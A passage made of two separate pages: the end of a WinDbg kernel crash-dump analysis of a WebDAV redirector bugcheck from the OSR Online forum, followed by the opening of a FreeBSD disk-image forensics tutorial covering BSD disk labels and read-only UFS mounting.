00000000 00000000-00000000 Args: 00000000 00000000 00000000 00000000
\[N/A\(0\), N/A\(0\)\] 0 0 00000000 00000000 00000000-00000000 Args: 00000000
00000000 00000000 00000000 \[N/A\(0\), N/A\(0\)\] 0 0 00000000 00000000
00000000-00000000 Args: 00000000 00000000 00000000 00000000
>\[IRP\_MJ\_DEVICE\_CONTROL\(e\), N/A\(0\)\] 0 e0 fffffa80c1d93040
fffffa80d05b5070 fffff8800149f9cc-fffffa80c9572620 Success Error Cancel
\FileSystem\MRxDAV mup\!MupiUncProviderCompletion Args: 000023d4 00000000
0014037e 00000000 \[IRP\_MJ\_DEVICE\_CONTROL\(e\), N/A\(0\)\] 0 0
fffffa80c0f2fe40 fffffa80d05b5070 00000000-00000000 \FileSystem\Mup Args:
000023d4 00000000 0014037e 00000000 7: kd> dt nt\!\_FILE\_OBJECT
fffffa80d05b5070 +0x000 Type : 0n5 +0x002 Size : 0n216 +0x008 DeviceObject :
0xfffffa80\`c0f2fe40 \_DEVICE\_OBJECT +0x010 Vpb : \(null\) +0x018 FsContext :
0xfffff880\`03316ce0 Void +0x020 FsContext2 : \(null\) +0x028
SectionObjectPointer : \(null\) +0x030 PrivateCacheMap : \(null\) +0x038
FinalStatus : 0n0 +0x040 RelatedFileObject : \(null\) +0x048 LockOperation : 0
'' +0x049 DeletePending : 0 '' +0x04a ReadAccess : 0 '' +0x04b WriteAccess : 0
'' +0x04c DeleteAccess : 0 '' +0x04d SharedRead : 0 '' +0x04e SharedWrite : 0
'' +0x04f SharedDelete : 0 '' +0x050 Flags : 0x40006 +0x058 FileName :
\_UNICODE\_STRING "" +0x068 CurrentByteOffset : \_LARGE\_INTEGER 0x0 +0x070
Waiters : 0 +0x074 Busy : 1 +0x078 LastLock : \(null\) +0x080 Lock : \_KEVENT
+0x098 Event : \_KEVENT +0x0b0 CompletionContext : \(null\) +0x0b8 IrpListLock
: 0 +0x0c0 IrpList : \_LIST\_ENTRY \[ 0xfffffa80\`d05b5130 -
0xfffffa80\`d05b5130 \] +0x0d0 FileObjectExtension : 0xfffffa80\`c58c6860 Void
7: kd> \!stacks 0 Mup Proc.Thread .Thread Ticks ThreadState Blocker
169c.0018bc fffffa80c3cb1410 e452cfe0 RUNNING nt\!KeBugCheckEx 169c.002058
fffffa80c66706f0 e452dcf2 Blocked mrxdav\!UMRxAssignWork+0x399 169c.002288
fffffa80cec85700 e452cfe0 Blocked
mrxdav\!UMRxSubmitAsyncEngUserModeRequest+0x25a 7: kd> \!thread
fffffa80c66706f0 17 THREAD fffffa80c66706f0 Cid 169c.2058 Teb:
000007fffffae000 Win32Thread: 0000000000000000 WAIT: \(WrQueue\) UserMode
Alertable fffffa80c1d93970 QueueObject IRP List: fffffa810cf43a20:
\(0006,0358\) Flags: 00060000 Mdl: fffffa80dc2d2950 Not impersonating
DeviceMap fffff8a001137980 Owning Process fffffa80c4abdb10 Image: svchost.exe
Attached Process N/A Image: N/A Wait Start TickCount 464331534 Ticks: 3346
\(0:00:00:52.281\) Context Switch Count 415 IdealProcessor: 0 UserTime
00:00:00.000 KernelTime 00:00:00.031 Win32 Start Address 0x000007fef20e1c2c
Stack Init fffff88008b21db0 Current fffff88008b210f0 Base fffff88008b22000
Limit fffff88008b1c000 Call 0000000000000000 Priority 8 BasePriority 8
PriorityDecrement 0 IoPriority 2 PagePriority 5 Child-SP RetAddr : Args to
Child : Call Site fffff880\`08b21130 fffff800\`0208a672 : fffff880\`00000000
fffffa80\`c66706f0 fffff880\`00000000 00000000\`00000000 :
nt\!KiSwapContext+0x7a fffff880\`08b21270 fffff800\`0208d6d3 :
fffff880\`03316100 00000000\`0014037e 00000000\`00000000 00000000\`00000000 :
nt\!KiCommitThreadWait+0x1d2 fffff880\`08b21300 fffff880\`0399f551 :
fffffa80\`00000000 00000000\`00000001 fffff800\`0237bf01 fffff800\`02397301 :
nt\!KeRemoveQueueEx+0x323 fffff880\`08b213c0 fffff880\`03988411 :
fffffa81\`00000000 00000000\`00000000 fffffa81\`0cf43c0e fffffa80\`cf06a9c0 :
mrxdav\!UMRxAssignWork+0x399 fffff880\`08b21420 fffff880\`03332345 :
fffffa80\`c1d93040 fffffa80\`cf06a9c0 fffffa81\`0cf43c10 fffffa81\`0cf43a20 :
mrxdav\!MRxDAVDevFcbXXXControlFile+0x36d fffff880\`08b21490 fffff880\`03331709
: 00000000\`000001eb fffffa81\`0cf43a20 ffff0000\`0b8374df 64536553\`3147b91c
: rdbss\!RxXXXControlFileCallthru+0xcd fffff880\`08b214c0 fffff880\`032ff6a0 :
00000000\`00000000 fffff880\`08b21550 fffffa80\`cf06a9c0 00000000\`00000000 :
rdbss\!RxCommonDevFCBIoCtl+0xf5 fffff880\`08b21510 fffff880\`0331cbb4 :
fffffa81\`0cf43a20 fffffa81\`60f2200e 00000000\`014a9918 00000000\`00000001 :
rdbss\!RxFsdCommonDispatch+0x870 fffff880\`08b21600 fffff880\`03990be5 :
00000000\`00000000 fffff880\`014a9918 fffffa81\`0cf43a20 fffffa81\`60f22070 :
rdbss\!RxFsdDispatch+0x224 fffff880\`08b21670 fffff880\`014a7c79 :
fffffa80\`c1d93040 fffffa81\`0cf43a20 fffff880\`08b2180e 00000000\`00000000 :
mrxdav\!MRxDAVFsdDispatch+0x6c5 fffff880\`08b21740 fffff880\`014a6175 :
fffff8a0\`002aa8a0 fffffa80\`c802ce10 00000000\`00000103 fffffa81\`0cf43ca0 :
mup\!MupiCallUncProvider+0x169 fffff880\`08b217b0 fffff880\`014a8001 :
fffffa81\`0cf43a20 fffff880\`014a4118 fffffa81\`60f22070 00000000\`00000000 :
mup\!MupStateMachine+0x165 fffff880\`08b21800 fffff880\`0130e6af :
fffffa80\`c0f2f9f0 fffffa80\`c802ce10 fffffa81\`60f22000 fffffa81\`0cf43a20 :
mup\!MupFsdIrpPassThrough+0x12d fffff880\`08b21850 fffff880\`015659e3 :
fffffa80\`c1078000 00000000\`00000002 fffffa80\`c1078000 fffffa81\`60f22000 :
fltmgr\!FltpDispatch+0x9f fffff880\`08b218b0 fffff880\`0130e6af :
fffffa80\`c3880830 fffffa81\`60f22070 00000000\`00000001 fffffa81\`0cf43a20 :
mfehidk\!DEVICEDISPATCH::DispatchPassThrough+0x143 fffff880\`08b21930
fffff800\`0239184a : 00000000\`00000002 fffffa81\`60f22070 00000000\`00000001
fffffa81\`0cf43a20 : fltmgr\!FltpDispatch+0x9f fffff880\`08b21990
fffff800\`023a59aa : fffffa81\`60f22070 00000000\`00000000 fffffa81\`60f22070
fffffa81\`60f22070 : nt\!IopSynchronousServiceTail+0xfa fffff880\`08b21a00
fffff800\`023a5a46 : 00000000\`00000000 00000000\`00000000 00000000\`00000000
00000000\`00000000 : nt\!IopXxxControlFile+0xc27 fffff880\`08b21b40
fffff800\`02084693 : 00000000\`00000001 fffffa80\`cba45060 00000000\`00000000
fffff880\`08b21c00 : nt\!NtDeviceIoControlFile+0x56 fffff880\`08b21bb0
00000000\`7747bbaa : 00000000\`00000000 00000000\`00000000 00000000\`00000000
00000000\`00000000 : nt\!KiSystemServiceCopyEnd+0x13 \(TrapFrame @
fffff880\`08b21c20\) 00000000\`0159fa18 00000000\`00000000 :
00000000\`00000000 00000000\`00000000 00000000\`00000000 00000000\`00000000 :
0x7747bbaa 7: kd> \!thread fffffa80cec85700 17 THREAD fffffa80cec85700 Cid
169c.2288 Teb: 000007fffffdc000 Win32Thread: 0000000000000000 WAIT:
\(Executive\) KernelMode Non-Alertable fffffa81324b64b0 SynchronizationEvent
IRP List: fffffa80ccddbca0: \(0006,0358\) Flags: 00000884 Mdl: 00000000
Impersonation token: fffff8a0395a2a90 \(Level Impersonation\) DeviceMap
fffff8a0125151b0 Owning Process fffffa80c4abdb10 Image: svchost.exe Attached
Process N/A Image: N/A Wait Start TickCount 464334880 Ticks: 0 Context Switch
Count 20925 IdealProcessor: 3 UserTime 00:00:00.093 KernelTime 00:00:00.187
Win32 Start Address 0x000000007744f5d0 Stack Init fffff880082b3db0 Current
fffff880082b29a0 Base fffff880082b4000 Limit fffff880082ae000 Call
0000000000000000 Priority 10 BasePriority 8 PriorityDecrement 0 IoPriority 2
PagePriority 5 Child-SP RetAddr : Args to Child : Call Site fffff880\`082b29e0
fffff800\`0208a672 : 00000000\`634e7852 fffffa80\`cec85700 00000000\`00000000
fffff800\`0208b71a : nt\!KiSwapContext+0x7a fffff880\`082b2b20
fffff800\`0208ce9f : fffffa80\`c3cb1410 fffff800\`02048cc4 fffffa80\`00000000
00000000\`00000000 : nt\!KiCommitThreadWait+0x1d2 fffff880\`082b2bb0
fffff880\`0399dd36 : fffffa81\`324b6300 fffff880\`00000000 fffffa81\`324b6300
fffffa81\`324b6300 : nt\!KeWaitForSingleObject+0x19f fffff880\`082b2c50
fffff880\`03992cc7 : fffffa81\`324b6310 fffffa81\`47652810 00000002\`0e100bb8
fffffa81\`47652810 : mrxdav\!UMRxSubmitAsyncEngUserModeRequest+0x25a
fffff880\`082b2cd0 fffff880\`039a039d : 00000000\`00000000 fffff880\`03992c18
00000000\`00000000 00000000\`00000000 :
mrxdav\!MRxDAVFinalizeVNetRootContinuation+0xaf fffff880\`082b2d10
fffff880\`03992b45 : fffffa80\`c9ce9f38 fffffa81\`47652810 00000000\`00000000
fffffa80\`c9ce9d80 : mrxdav\!UMRxAsyncEngOuterWrapper+0x199 fffff880\`082b2d70
fffff880\`03301b89 : 00000000\`00000000 fffffa80\`ed67d010 fffffa80\`c1d93200
00000000\`000e0082 : mrxdav\!MRxDAVFinalizeVNetRoot+0x211 fffff880\`082b2dd0
fffff880\`0331b954 : fffffa80\`c9ce9d80 fffffa80\`ed67d010 fffffa80\`c1d93200
00000000\`00000000 : rdbss\!RxMRxFinalizeVNetRoot+0x7d fffff880\`082b2e00
fffff880\`033380d8 : fffffa80\`c9ce9d80 fffffa80\`c1d937e0 fffffa80\`c1d932b8
00000000\`00000000 : rdbss\!RxFinalizeVNetRoot+0x104 fffff880\`082b2e50
fffff880\`0333d1f8 : fffffa81\`54ebd200 fffffa80\`ccddbca0 fffff880\`082b2f20
00000000\`00000004 : rdbss\!RxScavengeVNetRoots+0xc8 fffff880\`082b2e90
fffff880\`033326aa : fffffa81\`54ebd200 00000000\`00000000 00000000\`00000000
fffffa80\`ccddbca0 : rdbss\!RxFindOrConstructVirtualNetRootWithRetry+0x74
fffff880\`082b2ee0 fffff880\`03322cec : 00000000\`00000004 00000000\`00000000
fffffa80\`ccddbca0 fffffa80\`ccddbca0 : rdbss\!RxCreateTreeConnect+0x13e
fffff880\`082b2f70 fffff880\`032ff6a0 : 00000000\`00000000 fffffa80\`ccddbca0
fffffa80\`ccddbe48 00000000\`00000000 : rdbss\!RxCommonCreate+0x1ec
fffff880\`082b3030 fffff880\`0331cbb4 : fffffa80\`ccddbca0 fffffa80\`c3862600
fffff8a0\`002aa800 00000000\`00000001 : rdbss\!RxFsdCommonDispatch+0x870
fffff880\`082b3120 fffff880\`03990be5 : fffff8a0\`2f9be9b0 fffff880\`014b0b32
fffffa80\`ccddbca0 fffffa80\`c3862620 : rdbss\!RxFsdDispatch+0x224
fffff880\`082b3190 fffff880\`014a7c79 : fffffa80\`c1d93040 fffffa80\`ccddbca0
fffff880\`082b3300 00000000\`00000000 : mrxdav\!MRxDAVFsdDispatch+0x6c5
fffff880\`082b3260 fffff880\`014a6175 : fffff8a0\`002aa8a0 fffffa81\`30df21b0
00000000\`00000103 fffffa80\`c3862620 : mup\!MupiCallUncProvider+0x169
fffff880\`082b32d0 fffff880\`014a67c5 : 00000000\`00000000 00000000\`00000000
fffffa80\`d2491160 00000000\`00000000 : mup\!MupStateMachine+0x165
fffff880\`082b3320 fffff880\`0132f0b6 : 00000000\`00000000 fffffa80\`ccddbca0
00000000\`00000000 fffffa80\`c3862620 : mup\!MupCreate+0x31d
fffff880\`082b33b0 fffff880\`01564fb0 : fffff880\`082b3650 fffffa80\`ccddbed8
fffff880\`082b3548 fffff880\`0150c60f : fltmgr\!FltpCreate+0xa6
fffff880\`082b3460 fffff880\`014fb619 : fffffa80\`ccddbed8 fffffa80\`c1078000
fffffa80\`c3862620 00000000\`00000000 :
mfehidk\!DEVICEDISPATCH::LowerDispatchPassThrough+0xa0 fffff880\`082b34f0
fffff880\`01565973 : 00000000\`55555555 00000000\`00000000 fffffa80\`c1078000
00000000\`00000000 : mfehidk+0x1e619 fffff880\`082b3620 fffff880\`0132f0b6 :
00000000\`00000005 00000000\`00000040 fffffa80\`c3862620 fffffa80\`c3880830 :
mfehidk\!DEVICEDISPATCH::DispatchPassThrough+0xd3 fffff880\`082b36a0
fffff800\`02387afb : 00000000\`00000005 00000000\`00000040 fffffa80\`c3862620
fffffa80\`c38626b8 : fltmgr\!FltpCreate+0xa6 fffff880\`082b3750
fffff800\`0238361e : fffffa80\`c0f2fe40 00000000\`00000000 fffffa80\`d38009b0
fffffa80\`00000001 : nt\!IopParseDevice+0x14e2 fffff880\`082b38b0
fffff800\`02384106 : 00000000\`00000000 fffff880\`082b3a30 00000000\`00000040
fffffa80\`c08ffc90 : nt\!ObpLookupObjectName+0x784 fffff880\`082b39b0
fffff800\`02385efc : fffffa80\`cec85700 00000000\`00000000 00000000\`00000001
ffffffff\`ffffffff : nt\!ObOpenObjectByName+0x306 fffff880\`082b3a80
fffff800\`02391574 : 00000000\`019eed30 00000000\`00100000 00000000\`019eebf0
00000000\`019eebe0 : nt\!IopCreateFile+0x2bc fffff880\`082b3b20
fffff800\`02084693 : fffffa80\`c4abdb10 0000007f\`ffffffff fffffa80\`cec85700
00000980\`00000000 : nt\!NtCreateFile+0x78 fffff880\`082b3bb0
00000000\`7747c08a : 00000000\`00000000 00000000\`00000000 00000000\`00000000
00000000\`00000000 : nt\!KiSystemServiceCopyEnd+0x13 \(TrapFrame @
fffff880\`082b3c20\) 00000000\`019eeb58 00000000\`00000000 :
00000000\`00000000 00000000\`00000000 00000000\`00000000 00000000\`00000000 :
0x7747c08a 7: kd> \!irp fffffa80ccddbca0 Irp is active with 6 stacks 4 is
current \(= 0xfffffa80ccddbe48\) No Mdl: System buffer=fffffa816ae1a010:
Thread fffffa80cec85700: Irp stack trace. cmd flg cl Device File Completion-
Context \[N/A\(0\), N/A\(0\)\] 0 0 00000000 00000000 00000000-00000000 Args:
00000000 00000000 00000000 00000000 \[N/A\(0\), N/A\(0\)\] 0 0 00000000
00000000 00000000-00000000 Args: 00000000 00000000 00000000 00000000
\[N/A\(0\), N/A\(0\)\] 0 0 00000000 00000000 00000000-00000000 Args: 00000000
00000000 00000000 00000000 >\[IRP\_MJ\_CREATE\(0\), N/A\(0\)\] 0 e0
fffffa80c1d93040 fffffa80c3862620 fffff8800149f9cc-fffffa8130df21b0 Success
Error Cancel \FileSystem\MRxDAV mup\!MupiUncProviderCompletion Args:
fffff880082b3858 010000a0 00070080 000000b4 \[IRP\_MJ\_CREATE\(0\), N/A\(0\)\]
0 e0 fffffa80c0f2fe40 fffffa80c3862620 fffff88001564ea0-fffff880082b34a8
Success Error Cancel \FileSystem\Mup mfehidk\!CopyELAMLog Args:
fffff880082b3858 010000a0 00070080 000000b4 \[IRP\_MJ\_CREATE\(0\), N/A\(0\)\]
0 0 fffffa80c0f31950 fffffa80c3862620 00000000-00000000 \Driver\mfehidk Args:
fffff880082b3858 010000a0 00070080 000000b4 7: kd> dt nt\!\_FILE\_OBJECT
fffffa80c3862620 +0x000 Type : 0n5 +0x002 Size : 0n216 +0x008 DeviceObject :
0xfffffa80\`c0f2fe40 \_DEVICE\_OBJECT +0x010 Vpb : \(null\) +0x018 FsContext :
\(null\) +0x020 FsContext2 : \(null\) +0x028 SectionObjectPointer : \(null\)
+0x030 PrivateCacheMap : \(null\) +0x038 FinalStatus : 0n0 +0x040
RelatedFileObject : \(null\) +0x048 LockOperation : 0 '' +0x049 DeletePending
: 0 '' +0x04a ReadAccess : 0 '' +0x04b WriteAccess : 0 '' +0x04c DeleteAccess
: 0 '' +0x04d SharedRead : 0 '' +0x04e SharedWrite : 0 '' +0x04f SharedDelete
: 0 '' +0x050 Flags : 2 +0x058 FileName : \_UNICODE\_STRING
"\vidplf01@8080\Reference Data" +0x068 CurrentByteOffset : \_LARGE\_INTEGER
0x0 +0x070 Waiters : 0 +0x074 Busy : 0 +0x078 LastLock : \(null\) +0x080 Lock
: \_KEVENT +0x098 Event : \_KEVENT +0x0b0 CompletionContext : \(null\) +0x0b8
IrpListLock : 0 +0x0c0 IrpList : \_LIST\_ENTRY \[ 0xfffffa80\`c38626e0 -
0xfffffa80\`c38626e0 \] +0x0d0 FileObjectExtension : 0xfffffa80\`c25c7cb0 Void
7: kd> \!locks \*\*\*\* DUMP OF ALL RESOURCE OBJECTS \*\*\*\* KD: Scanning for
held locks.............................................................
Resource @ 0xfffffa80c1d932d0 Exclusively owned Contention Count = 9 Threads:
fffffa80cec85700-01<\*> KD: Scanning for held locks. Resource @
mrxdav\!UMRxAsyncEngineContextListLock \(0xfffff88003986180\) Exclusively
owned Contention Count = 6 Threads: fffffa80c3cb1410-01<\*> KD: Scanning for
held
locks............................................................................
.......................... 139721 total locks, 2 locks currently held 7: kd>
\!irpfind 0 0 Thread 0xfffffa80c1d932d0 Looking for IRPs with thread ==
fffffa80c1d932d0 Scanning large pool allocation table for tag 0x3f707249
\(Irp?\) \(fffffa80d8200000 : fffffa80d8500000\) Page 43c6ef not present in
the dump file. Type ".hh dbgerr004" for details Page 43c6d6 not present in the
dump file. Type ".hh dbgerr004" for details Page 43be29 not present in the
dump file. Type ".hh dbgerr004" for details Page 43be2a not present in the
dump file. Type ".hh dbgerr004" for details Page 43c717 not present in the
dump file. Type ".hh dbgerr004" for details Searching nonpaged pool
\(fffffa80c0008000 : fffffa83bbe00000\) for tag 0x3f707249 \(Irp?\) 7: kd>
\!irpfind 0 0 Thread fffffa80c3cb1410 Looking for IRPs with thread ==
fffffa80c3cb1410 Scanning large pool allocation table for tag 0x3f707249
\(Irp?\) \(fffffa80d8200000 : fffffa80d8500000\) Page 43c6ef not present in
the dump file. Type ".hh dbgerr004" for details Page 43c6d6 not present in the
dump file. Type ".hh dbgerr004" for details Page 43be29 not present in the
dump file. Type ".hh dbgerr004" for details Page 43be2a not present in the
dump file. Type ".hh dbgerr004" for details Page 43c717 not present in the
dump file. Type ".hh dbgerr004" for details Searching nonpaged pool
\(fffffa80c0008000 : fffffa83bbe00000\) for tag 0x3f707249 \(Irp?\) Irp \[
Thread \] irpStack: \(Mj,Mn\) DevObj \[Driver\] MDL Process fffffa80d1861ca0
\[fffffa80c3cb1410\] irpStack: \( e, 0\) fffffa80c1d93040 \[
\FileSystem\MRxDAV\] 0xfffffa80c4abdb10 7: kd> \!running -it System
Processors: \(00000000000000ff\) Idle Processors: \(000000000000007f\)
\(0000000000000000\) \(0000000000000000\) \(0000000000000000\) Prcbs Current
\(pri\) Next \(pri\) Idle 0 fffff80002204e80 fffff80002212cc0 \( 0\)
fffff80002212cc0 ................ \# Child-SP RetAddr Call Site 00
fffff800\`01e18c98 fffff800\`0208ebe9 intelppm\!C1Halt+0x2 01
fffff800\`01e18ca0 fffff800\`0207d0dc nt\!PoIdle+0x52a 02 fffff800\`01e18d80
00000000\`00000000 nt\!KiIdleLoop+0x2c 1 fffff880009bf180 fffff880009ca0c0 \(
0\) fffff880009ca0c0 ................ \# Child-SP RetAddr Call Site 00
fffff880\`009d2c98 fffff800\`0208ebe9 intelppm\!C1Halt+0x2 01
fffff880\`009d2ca0 fffff800\`0207d0dc nt\!PoIdle+0x52a 02 fffff880\`009d2d80
00000000\`00000000 nt\!KiIdleLoop+0x2c 2 fffff88001e5d180 fffff88001e680c0 \(
0\) fffff88001e680c0 ................ \# Child-SP RetAddr Call Site 00
fffff880\`01e85c98 fffff800\`0208ebe9 intelppm\!C1Halt+0x2 01
fffff880\`01e85ca0 fffff800\`0207d0dc nt\!PoIdle+0x52a 02 fffff880\`01e85d80
00000000\`00000000 nt\!KiIdleLoop+0x2c 3 fffff88001ece180 fffff88001ed90c0 \(
0\) fffff88001ed90c0 ................ \# Child-SP RetAddr Call Site 00
fffff880\`01ef6c98 fffff800\`0208ebe9 intelppm\!C1Halt+0x2 01
fffff880\`01ef6ca0 fffff800\`0207d0dc nt\!PoIdle+0x52a 02 fffff880\`01ef6d80
00000000\`00000000 nt\!KiIdleLoop+0x2c 4 fffff88001f3f180 fffff88001f4a0c0 \(
0\) fffff88001f4a0c0 ................ \# Child-SP RetAddr Call Site 00
fffff880\`01f67c98 fffff800\`0208ebe9 intelppm\!C1Halt+0x2 01
fffff880\`01f67ca0 fffff800\`0207d0dc nt\!PoIdle+0x52a 02 fffff880\`01f67d80
00000000\`00000000 nt\!KiIdleLoop+0x2c 5 fffff88001fb0180 fffff88001fbb0c0 \(
0\) fffff88001fbb0c0 ................ \# Child-SP RetAddr Call Site 00
fffff880\`01fd8c98 fffff800\`0208ebe9 intelppm\!C1Halt+0x2 01
fffff880\`01fd8ca0 fffff800\`0207d0dc nt\!PoIdle+0x52a 02 fffff880\`01fd8d80
00000000\`00000000 nt\!KiIdleLoop+0x2c 6 fffff88001fe1180 fffff88001fec0c0 \(
0\) fffff88001fec0c0 ................ \# Child-SP RetAddr Call Site 00
fffff880\`0205bc98 fffff800\`0208ebe9 intelppm\!C1Halt+0x2 01
fffff880\`0205bca0 fffff800\`0207d0dc nt\!PoIdle+0x52a 02 fffff880\`0205bd80
00000000\`00000000 nt\!KiIdleLoop+0x2c 7 fffff880020a4180 fffffa80c3cb1410 \(
8\) fffff880020af0c0 ................ \# Child-SP RetAddr Call Site 00
fffff880\`0572b078 fffff880\`0330cec2 nt\!KeBugCheckEx 01 fffff880\`0572b080
fffff880\`03312c11 rdbss\!RxExceptionFilter+0xea 02 fffff880\`0572b0d0
fffff800\`020b19c4 rdbss\! ?? ::FNODOBFM::\`string'+0x547 03
fffff880\`0572b120 fffff880\`03312665 nt\!\_C\_specific\_handler+0x8c 04
fffff880\`0572b190 fffff800\`020b143d rdbss\!\_GSHandlerCheck\_SEH+0x75 05
fffff880\`0572b1c0 fffff800\`020b0215 nt\!RtlpExecuteHandlerForException+0xd
06 fffff880\`0572b1f0 fffff800\`020c1725 nt\!RtlDispatchException+0x415 07
fffff880\`0572b8d0 fffff800\`02084a82 nt\!KiDispatchException+0x135 08
fffff880\`0572bf70 fffff800\`020835fa nt\!KiExceptionDispatch+0xc2 09
fffff880\`0572c150 fffff880\`03992def nt\!KiPageFault+0x23a 0a
fffff880\`0572c2e0 fffff880\`0399e7be
mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+0xcf 0b fffff880\`0572c330
fffff880\`0399f633 mrxdav\!UMRxPrepareUserModeRequestBuffer+0x2ca 0c
fffff880\`0572c3c0 fffff880\`03988411 mrxdav\!UMRxAssignWork+0x47b 0d
fffff880\`0572c420 fffff880\`03332345 mrxdav\!MRxDAVDevFcbXXXControlFile+0x36d
0e fffff880\`0572c490 fffff880\`03331709 rdbss\!RxXXXControlFileCallthru+0xcd
0f fffff880\`0572c4c0 fffff880\`032ff6a0 rdbss\!RxCommonDevFCBIoCtl+0xf5 10
fffff880\`0572c510 fffff880\`0331cbb4 rdbss\!RxFsdCommonDispatch+0x870 11
fffff880\`0572c600 fffff880\`03990be5 rdbss\!RxFsdDispatch+0x224 12
fffff880\`0572c670 fffff880\`014a7c79 mrxdav\!MRxDAVFsdDispatch+0x6c5 13
fffff880\`0572c740 fffff880\`014a6175 mup\!MupiCallUncProvider+0x169 14
fffff880\`0572c7b0 fffff880\`014a8001 mup\!MupStateMachine+0x165 15
fffff880\`0572c800 fffff880\`0130e6af mup\!MupFsdIrpPassThrough+0x12d 16
fffff880\`0572c850 fffff880\`015659e3 fltmgr\!FltpDispatch+0x9f 17
fffff880\`0572c8b0 fffff880\`0130e6af
mfehidk\!DEVICEDISPATCH::DispatchPassThrough+0x143 18 fffff880\`0572c930
fffff800\`0239184a fltmgr\!FltpDispatch+0x9f 19 fffff880\`0572c990
fffff800\`023a59aa nt\!IopSynchronousServiceTail+0xfa 1a fffff880\`0572ca00
fffff800\`023a5a46 nt\!IopXxxControlFile+0xc27 1b fffff880\`0572cb40
fffff800\`02084693 nt\!NtDeviceIoControlFile+0x56 1c fffff880\`0572cbb0
00000000\`7747bbaa nt\!KiSystemServiceCopyEnd+0x13 1d 00000000\`013afc58
00000000\`00000000 0x7747bbaa  
|  Posting Rules  |   
---|---  
You **may not** post new threads You **may not** post replies You **may not** post attachments | You must login to OSR Online AND be a member of the windbg list to be able to post.  
  

All times are GMT -5. The time now is 06:20.

  
**Contact Us \- Osr Online Homepage \- Top **  
---  
  

Copyright ©2015, OSR Open Systems Resources, Inc.  
Based on vBulletin Copyright ©2000 - 2005, Jelsoft Enterprises Ltd.  
Modified under license

  

# FreeBSD Computer Forensic Tips & Tricks

**Created:**| _2/10/2010 8:05:34 PM_  
---|---  
**Updated:**| _2/10/2010 8:05:49 PM_  
**Author:**| __  
**Tags:**| _Forensics BSD_  
  

## FreeBSD Computer Forensic Tips & Tricks

Posted by Hal Pomeranz on February 10, 2010 – 1:38 pm

Filed under Computer Forensics, Evidence Analysis

### Hal Pomeranz, Deer Run Associates

While Linux seems to have captured much of the mind-share for Unix-like
operating systems, the fact is that there are an awful lot of BSD machines out
there, particularly in web-hosting and other Internet-facing environments. So
you’re likely to run into one of these systems during an incident response or
digital forensics investigation at some point. If you’ve only ever analyzed
Linux systems, you may encounter a few bumps in the road when you start
looking at your first BSD system. In an effort to smooth out some of those
potholes, I’m going to demo a few useful techniques using a sample FreeBSD
image I created.

## BSD Disk Labels

Let’s suppose somebody just handed you a raw disk image that they took from a
FreeBSD machine. Not being Unix savvy, all they can do is hand you the raw
disk image and the associated checksum value. The rest is up to you.

After verifying the image integrity, you decide you’re going to start by
dumping out the DOS partition table:

[code]

    # **mmls -t dos freebsd.img**
    DOS Partition Table
    Offset Sector: 0
    Units are in 512-byte sectors
    
     Slot    Start        End          Length       Description
    00:  -----   0000000000   0000000000   0000000001   Primary Table (#0)
    01:  -----   0000000001   0000000062   0000000062   Unallocated
    02:  00:00   0000000063   0033554114   0033554052   FreeBSD (0xA5)
    03:  -----   0033554115   0033554431   0000000317   Unallocated
    
[/code]

The DOS partition table shows us that there’s only a single partition on this
disk \(plus a couple of unallocated areas which are going to turn out to be
just wasted space\). This already might make you a little suspicious– most
Unix-like operating systems reserve a raw disk partition for a swap area.

In fact, the DOS partition table isn’t telling us the whole story. BSD systems
set up another partition table– generally referred to as the  _BSD disk label_
– at the start of the main BSD disk partition. mmls will happily parse the BSD
disk label if we specify “-t bsd” and as long as we give it the correct sector
offset value:

[code]

    # **mmls -t bsd -o 63 freebsd.img**
    BSD Disk Label
    Offset Sector: 63
    Units are in 512-byte sectors
    
     Slot    Start        End          Length       Description
    00:  -----   0000000000   0000000062   0000000063   Unallocated
    01:  00      0000000063   0001048638   0001048576   4.2BSD (0x07)
    02:  02      0000000063   0033554114   0033554052   Unused (0x00)
    03:  01      0001048639   0002029262   0000980624   Swap (0x01)
    04:  03      0002029263   0004615886   0002586624   4.2BSD (0x07)
    05:  04      0004615887   0005664462   0001048576   4.2BSD (0x07)
    06:  05      0005664463   0033554114   0027889652   4.2BSD (0x07)
    07:  -----   0033554115   0033554431   0000000317   Unallocated
    
[/code]

Now that looks like a more standard partition layout for a Unix-like system.
We can see multiple partitions and a swap area.

## Mounting UFS Partitions

Let’s try looking at that first partition with fsstat to see what kind of file
system we’re dealing with:

[code]

    # **fsstat -o 63 freebsd.img**
    FILE SYSTEM INFORMATION
    --------------------------------------------
    File System Type: UFS 2
    Last Written: Mon Jan 25 03:58:20 2010
    Last Mount Point: /
    Volume Name:
    System UID: 0
    [...]
    
[/code]

UFS2 is the most common file system for modern FreeBSD releases. The good news
is that Linux has excellent support for UFS file systems, so you can do
analysis of FreeBSD images on a Linux machine.

However, there are a couple of special options that you need to use when
mounting a UFS file system on a Linux box. You need to not only specify the
file system type with “mount -t …”, you also have to supply the “-o ufstype=…”
option in order to specify the exact type of UFS file system you’re dealing
with. And of course you’ll have to calculate the correct “offset=” value for
the mount command \(it’s in bytes, not sectors, as I covered in my previous
article on the subject\).

Putting it all together, calculating the offset and doing the mount command
might look something like this:

[code]

    # **expr 63 * 512**
    32256
    # **mount -t ufs -o ufstype=ufs2,ro,loop,offset=32256 freebsd.img /mnt**
    # **ls /mnt**
    bin   cdrom   COPYRIGHT  dist     etc  libexec  mnt   rescue  sbin  tmp  var
    boot  compat  dev        entropy  lib  media    proc  root    sys   usr
    
[/code]

First we use expr to calculate the byte offset of the start of the first
partition: it’s the sector offset \(63, as shown in the mmls output\) times
the sector size \(512 bytes/sector, also shown in the mmls output\).The
resulting value, 32256, is going to get plugged into the mount command with
“-o …,offset=32256″.

Next we set up our mount command. We specify the UFS file system and specific
UFS type with “-t ufs -o ufstype=ufs2,…”. Obviously, the read-only option
\(”ro”\) is important from a computer forensics perspective. The “loop”
argument means we’ll be using a loopback mount to mount a disk image file as a
file system. Then we have our offset argument, the name of the disk image
file, and where we want this partition mounted. We can then get a directory
listing of our mount point and confirm that the mount succeeded and we can see
files.

Mounting the other disk partitions is just a matter of repeating our original
mount command with different offsets and mount points. However, we’d like to
know where those partitions should be mounted in order to form a file system
that correctly replicates the original layout of the system. You could get the
last mount point information by running fsstat on each slice, but since we
have the root file system already mounted, we can just dump the /etc/fstab
file from the disk image:

[code]

    # **cat /mnt/etc/fstab**
    # Device        Mountpoint    FStype    Options        Dump    Pass#
    /dev/ad0s1b        none        swap   sw        0    0
    /dev/ad0s1a        /           ufs    rw        1    1
    /dev/ad0s1e        /tmp        ufs    rw        2    2
